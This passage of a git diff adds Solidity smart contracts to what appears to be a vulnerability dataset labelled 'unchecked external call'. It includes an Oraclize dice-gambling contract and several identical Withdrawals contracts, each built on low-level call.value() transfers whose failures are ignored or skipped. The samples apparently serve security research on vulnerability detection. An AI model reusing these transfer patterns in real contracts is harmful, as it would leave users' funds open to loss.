// parseInt + function parseInt(string _a) internal returns (uint) { + return parseInt(_a, 0); + } + + // parseInt(parseFloat*10^_b) + function parseInt(string _a, uint _b) internal returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + if (_b > 0) mint *= 10**_b; + return mint; + } + + +} +// + +contract Dice is usingOraclize { + + uint public pwin = 5000; //probability of winning (10000 = 100%) + uint public edge = 200; //edge percentage (10000 = 100%) + uint public maxWin = 100; //max win (before edge is taken) as percentage of bankroll (10000 = 100%) + uint public minBet = 1 finney; + uint public maxInvestors = 5; //maximum number of investors + uint public houseEdge = 50; //edge percentage (10000 = 100%) + uint public divestFee = 50; //divest fee percentage (10000 = 100%) + uint public emergencyWithdrawalRatio = 90; //ratio percentage (100 = 100%) + + uint safeGas = 25000; + uint constant ORACLIZE_GAS_LIMIT = 125000; + uint constant INVALID_BET_MARKER = 99999; + uint constant EMERGENCY_TIMEOUT = 7 days; + + struct Investor { + address investorAddress; + uint amountInvested; + bool votedForEmergencyWithdrawal; + } + + struct Bet { + address playerAddress; + uint amountBetted; + uint numberRolled; + } + + struct WithdrawalProposal { + address toAddress; + uint atTime; + } + + //Starting at 1 + mapping(address => uint) investorIDs; + mapping(uint => Investor) investors; + uint public numInvestors = 0; + + uint public invested = 0; + + address owner; + address houseAddress; + bool public isStopped; + + WithdrawalProposal proposedWithdrawal; + + mapping (bytes32 => Bet) bets; + bytes32[] betsKeys; + + uint public amountWagered = 0; + uint public investorsProfit = 0; + uint public investorsLoses = 0; + bool profitDistributed; + + event BetWon(address playerAddress, uint numberRolled, uint amountWon); + event BetLost(address playerAddress, uint numberRolled); + event EmergencyWithdrawalProposed(); + event EmergencyWithdrawalFailed(address withdrawalAddress); + event EmergencyWithdrawalSucceeded(address withdrawalAddress, uint amountWithdrawn); + event FailedSend(address receiver, uint amount); + event ValueIsTooBig(); + + function Dice(uint pwinInitial, + uint edgeInitial, + uint maxWinInitial, + uint minBetInitial, + uint maxInvestorsInitial, + uint houseEdgeInitial, + uint divestFeeInitial, + uint emergencyWithdrawalRatioInitial + ) { + + oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); + + pwin = pwinInitial; + edge = edgeInitial; + maxWin = maxWinInitial; + minBet = minBetInitial; + maxInvestors = maxInvestorsInitial; + houseEdge = houseEdgeInitial; + divestFee = divestFeeInitial; + emergencyWithdrawalRatio = emergencyWithdrawalRatioInitial; + owner = msg.sender; + houseAddress = msg.sender; + } + + //SECTION I: MODIFIERS AND HELPER FUNCTIONS + + //MODIFIERS + + modifier onlyIfNotStopped { + if (isStopped) throw; + _ + } + + modifier onlyIfStopped { + if (!isStopped) throw; + _ + } + + modifier onlyInvestors { + if (investorIDs[msg.sender] == 0) throw; + _ + } + + modifier onlyNotInvestors { + if (investorIDs[msg.sender] != 0) throw; + _ + } + + modifier onlyOwner { + if (owner != msg.sender) throw; + _ + } + + modifier onlyOraclize { + if (msg.sender != oraclize_cbAddress()) throw; + _ + } + + modifier onlyMoreThanMinInvestment { + if (msg.value <= getMinInvestment()) throw; + _ + } + + modifier onlyMoreThanZero { + if (msg.value == 0) throw; + _ + } + + modifier onlyIfBetSizeIsStillCorrect(bytes32 myid) { + Bet thisBet = bets[myid]; + if ((((thisBet.amountBetted * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000)) { + _ + } + else { + bets[myid].numberRolled = INVALID_BET_MARKER; + safeSend(thisBet.playerAddress, thisBet.amountBetted); + return; + } + } + + modifier onlyIfValidRoll(bytes32 myid, string result) { + Bet thisBet = bets[myid]; + uint numberRolled = parseInt(result); + if ((numberRolled < 1 || numberRolled > 10000) && thisBet.numberRolled == 0) { + bets[myid].numberRolled = INVALID_BET_MARKER; + safeSend(thisBet.playerAddress, thisBet.amountBetted); + return; + } + _ + } + + modifier onlyIfInvestorBalanceIsPositive(address currentInvestor) { + if (getBalance(currentInvestor) >= 0) { + _ + } + } + + modifier onlyWinningBets(uint numberRolled) { + if (numberRolled - 1 < pwin) { + _ + } + } + + modifier onlyLosingBets(uint numberRolled) { + if (numberRolled - 1 >= pwin) { + _ + } + } + + modifier onlyAfterProposed { + if (proposedWithdrawal.toAddress == 0) throw; + _ + } + + modifier rejectValue { + if (msg.value != 0) throw; + _ + } + + modifier onlyIfProfitNotDistributed { + if (!profitDistributed) { + _ + } + } + + modifier onlyIfValidGas(uint newGasLimit) { + if (newGasLimit < 25000) throw; + _ + } + + modifier onlyIfNotProcessed(bytes32 myid) { + Bet thisBet = bets[myid]; + if (thisBet.numberRolled > 0) throw; + _ + } + + modifier onlyIfEmergencyTimeOutHasPassed { + if (proposedWithdrawal.atTime + EMERGENCY_TIMEOUT > now) throw; + _ + } + + + //CONSTANT HELPER FUNCTIONS + + function getBankroll() constant returns(uint) { + return invested + investorsProfit - investorsLoses; + } + + function getMinInvestment() constant returns(uint) { + if (numInvestors == maxInvestors) { + uint investorID = searchSmallestInvestor(); + return getBalance(investors[investorID].investorAddress); + } + else { + return 0; + } + } + + function getStatus() constant returns(uint, uint, uint, uint, uint, uint, uint, uint, uint) { + + uint bankroll = getBankroll(); + + if (this.balance < bankroll) { + bankroll = this.balance; + } + + uint minInvestment = getMinInvestment(); + + return (bankroll, pwin, edge, maxWin, minBet, amountWagered, (investorsProfit - investorsLoses), minInvestment, betsKeys.length); + } + + function getBet(uint id) constant returns(address, uint, uint) { + if (id < betsKeys.length) { + bytes32 betKey = betsKeys[id]; + return (bets[betKey].playerAddress, bets[betKey].amountBetted, bets[betKey].numberRolled); + } + } + + function numBets() constant returns(uint) { + return betsKeys.length; + } + + function getMinBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + return oraclizeFee + minBet; + } + + function getMaxBetAmount() constant returns(uint) { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + uint betValue = (maxWin * getBankroll()) * pwin / (10000 * (10000 - edge - pwin)); + return betValue + oraclizeFee; + } + + function getLosesShare(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested * (investorsLoses) / invested; + } + + function getProfitShare(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested * (investorsProfit) / invested; + } + + function getBalance(address currentInvestor) constant returns (uint) { + return investors[investorIDs[currentInvestor]].amountInvested + getProfitShare(currentInvestor) - getLosesShare(currentInvestor); + } + + // PRIVATE HELPERS FUNCTION + + function searchSmallestInvestor() private returns(uint) { + uint investorID = 1; + for (uint i = 1; i <= numInvestors; i++) { + if (getBalance(investors[i].investorAddress) < getBalance(investors[investorID].investorAddress)) { + investorID = i; + } + } + + return investorID; + } + + function safeSend(address addr, uint value) private { + if (this.balance < value) { + ValueIsTooBig(); + return; + } + + if (!(addr.call.gas(safeGas).value(value)())) { + FailedSend(addr, value); + if (addr != houseAddress) { + //Forward to house address all change + if (!(houseAddress.call.gas(safeGas).value(value)())) FailedSend(houseAddress, value); + } + } + } + + function addInvestorAtID(uint id) private { + investorIDs[msg.sender] = id; + investors[id].investorAddress = msg.sender; + investors[id].amountInvested = msg.value; + invested += msg.value; + } + + function profitDistribution() private onlyIfProfitNotDistributed { + uint copyInvested; + + for (uint i = 1; i <= numInvestors; i++) { + address currentInvestor = investors[i].investorAddress; + uint profitOfInvestor = getProfitShare(currentInvestor); + uint losesOfInvestor = getLosesShare(currentInvestor); + investors[i].amountInvested += profitOfInvestor - losesOfInvestor; + copyInvested += investors[i].amountInvested; + } + + delete investorsProfit; + delete investorsLoses; + invested = copyInvested; + + profitDistributed = true; + } + + // SECTION II: BET & BET PROCESSING + + function() { + bet(); + } + + function bet() onlyIfNotStopped onlyMoreThanZero { + uint oraclizeFee = OraclizeI(OAR.getAddress()).getPrice("URL", ORACLIZE_GAS_LIMIT + safeGas); + uint betValue = msg.value - oraclizeFee; + if ((((betValue * ((10000 - edge) - pwin)) / pwin ) <= (maxWin * getBankroll()) / 10000) && (betValue >= minBet)) { + // encrypted arg: '\n{"jsonrpc":2.0,"method":"generateSignedIntegers","params":{"apiKey":"YOUR_API_KEY","n":1,"min":1,"max":10000},"id":1}' + bytes32 myid = oraclize_query("URL", "json(https://api.random.org/json-rpc/1/invoke).result.random.data.0", 'BCPnjiU1UySjNV2Nj003k7TFMVA/ddeUVwDlNnvte/GMShwVuchXA3Ul4vl3U656g7ZMq+H5Upk42wujF4p6gbasCoh7vTMlOXdG3Ehct+buCpx99Y8FSqyoAItrPtSTKZ1BHDnl5UF0oPv4tcG+L9ahH0cD8J6U/5I8OJBvjitE103Fxqo2W90bGIhnBeunSlQoHzN+zMIMmzNQJvp/PtybJSKfmfxiaqC+vCt4CywRLxI8pGijdhbwSzncjwg/wrYHFrJmcugmEPOvx7Entmnpec1MssnR1weOhayIzBU=', ORACLIZE_GAS_LIMIT + safeGas); + bets[myid] = Bet(msg.sender, betValue, 0); + betsKeys.push(myid); + } + else { + throw; + } + } + + function __callback (bytes32 myid, string result, bytes proof) + onlyOraclize + onlyIfNotProcessed(myid) + onlyIfValidRoll(myid, result) + onlyIfBetSizeIsStillCorrect(myid) { + + Bet thisBet = bets[myid]; + uint numberRolled = parseInt(result); + bets[myid].numberRolled = numberRolled; + isWinningBet(thisBet, numberRolled); + isLosingBet(thisBet, numberRolled); + amountWagered += thisBet.amountBetted; + delete profitDistributed; + } + + function isWinningBet(Bet thisBet, uint numberRolled) private onlyWinningBets(numberRolled) { + uint winAmount = (thisBet.amountBetted * (10000 - edge)) / pwin; + BetWon(thisBet.playerAddress, numberRolled, winAmount); + safeSend(thisBet.playerAddress, winAmount); + investorsLoses += (winAmount - thisBet.amountBetted); + } + + function isLosingBet(Bet thisBet, uint numberRolled) private onlyLosingBets(numberRolled) { + BetLost(thisBet.playerAddress, numberRolled); + safeSend(thisBet.playerAddress, 1); + investorsProfit += (thisBet.amountBetted - 1)*(10000 - houseEdge)/10000; + uint houseProfit = (thisBet.amountBetted - 1)*(houseEdge)/10000; + safeSend(houseAddress, houseProfit); + } + + //SECTION III: INVEST & DIVEST + + function increaseInvestment() onlyIfNotStopped onlyMoreThanZero onlyInvestors { + profitDistribution(); + investors[investorIDs[msg.sender]].amountInvested += msg.value; + invested += msg.value; + } + + function newInvestor() + onlyIfNotStopped + onlyMoreThanZero + onlyNotInvestors + onlyMoreThanMinInvestment { + profitDistribution(); + + if (numInvestors < maxInvestors) { + numInvestors++; + addInvestorAtID(numInvestors); + } + else { + uint smallestInvestorID = searchSmallestInvestor(); + divest(investors[smallestInvestorID].investorAddress); + addInvestorAtID(smallestInvestorID); + numInvestors++; + } + } + + function divest() onlyInvestors rejectValue { + divest(msg.sender); + } + + function divest(address currentInvestor) + private + onlyIfInvestorBalanceIsPositive(currentInvestor) { + + profitDistribution(); + uint currentID = investorIDs[currentInvestor]; + uint amountToReturn = getBalance(currentInvestor); + invested -= investors[currentID].amountInvested; + uint divestFeeAmount = (amountToReturn*divestFee)/10000; + amountToReturn -= divestFeeAmount; + //Clean up + numInvestors--; + delete investors[currentID]; + delete investorIDs[currentInvestor]; + safeSend(currentInvestor, amountToReturn); + safeSend(houseAddress, divestFeeAmount); + } + + function forceDivestOfAllInvestors() onlyOwner rejectValue { + uint copyNumInvestors = numInvestors; + for (uint investorID = 1; investorID <= copyNumInvestors; investorID++) { + divest(investors[investorID].investorAddress); + } + } + + /* + The owner can use this function to force the exit of an investor from the + contract during an emergency withdrawal in the following situations: + - Unresponsive investor + - Investor demanding to be paid in other to vote, the facto-blackmailing + other investors + */ + function forceDivestOfOneInvestor(address currentInvestor) + onlyOwner + onlyIfStopped + rejectValue { + + divest(currentInvestor); + //Resets emergency withdrawal proposal. Investors must vote again + delete proposedWithdrawal; + } + + //SECTION IV: CONTRACT MANAGEMENT + + function stopContract() onlyOwner rejectValue { + isStopped = true; + } + + function resumeContract() onlyOwner rejectValue { + isStopped = false; + } + + function changeHouseAddress(address newHouse) onlyOwner rejectValue { + houseAddress = newHouse; + } + + function changeOwnerAddress(address newOwner) onlyOwner rejectValue { + owner = newOwner; + } + + function changeGasLimitOfSafeSend(uint newGasLimit) + onlyOwner + onlyIfValidGas(newGasLimit) + rejectValue { + safeGas = newGasLimit; + } + + //SECTION V: EMERGENCY WITHDRAWAL + + function voteEmergencyWithdrawal(bool vote) + onlyInvestors + onlyAfterProposed + onlyIfStopped + rejectValue { + investors[investorIDs[msg.sender]].votedForEmergencyWithdrawal = vote; + } + + function proposeEmergencyWithdrawal(address withdrawalAddress) + onlyIfStopped + onlyOwner + rejectValue { + + //Resets previous votes + for (uint i = 1; i <= numInvestors; i++) { + delete investors[i].votedForEmergencyWithdrawal; + } + + proposedWithdrawal = WithdrawalProposal(withdrawalAddress, now); + EmergencyWithdrawalProposed(); + } + + function executeEmergencyWithdrawal() + onlyOwner + onlyAfterProposed + onlyIfStopped + onlyIfEmergencyTimeOutHasPassed + rejectValue { + + uint numOfVotesInFavour; + uint amountToWithdrawal = this.balance; + + for (uint i = 1; i <= numInvestors; i++) { + if (investors[i].votedForEmergencyWithdrawal == true) { + numOfVotesInFavour++; + delete investors[i].votedForEmergencyWithdrawal; + } + } + + if (numOfVotesInFavour >= emergencyWithdrawalRatio * numInvestors / 100) { + if (!proposedWithdrawal.toAddress.send(this.balance)) { + EmergencyWithdrawalFailed(proposedWithdrawal.toAddress); + } + else { + EmergencyWithdrawalSucceeded(proposedWithdrawal.toAddress, amountToWithdrawal); + } + } + else { + throw; + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40432.sol b/smart_contract_dataset/unchecked external call/40432.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40432.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40435.sol b/smart_contract_dataset/unchecked external call/40435.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40435.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40437.sol b/smart_contract_dataset/unchecked external call/40437.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40437.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40452.sol b/smart_contract_dataset/unchecked external call/40452.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40452.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH 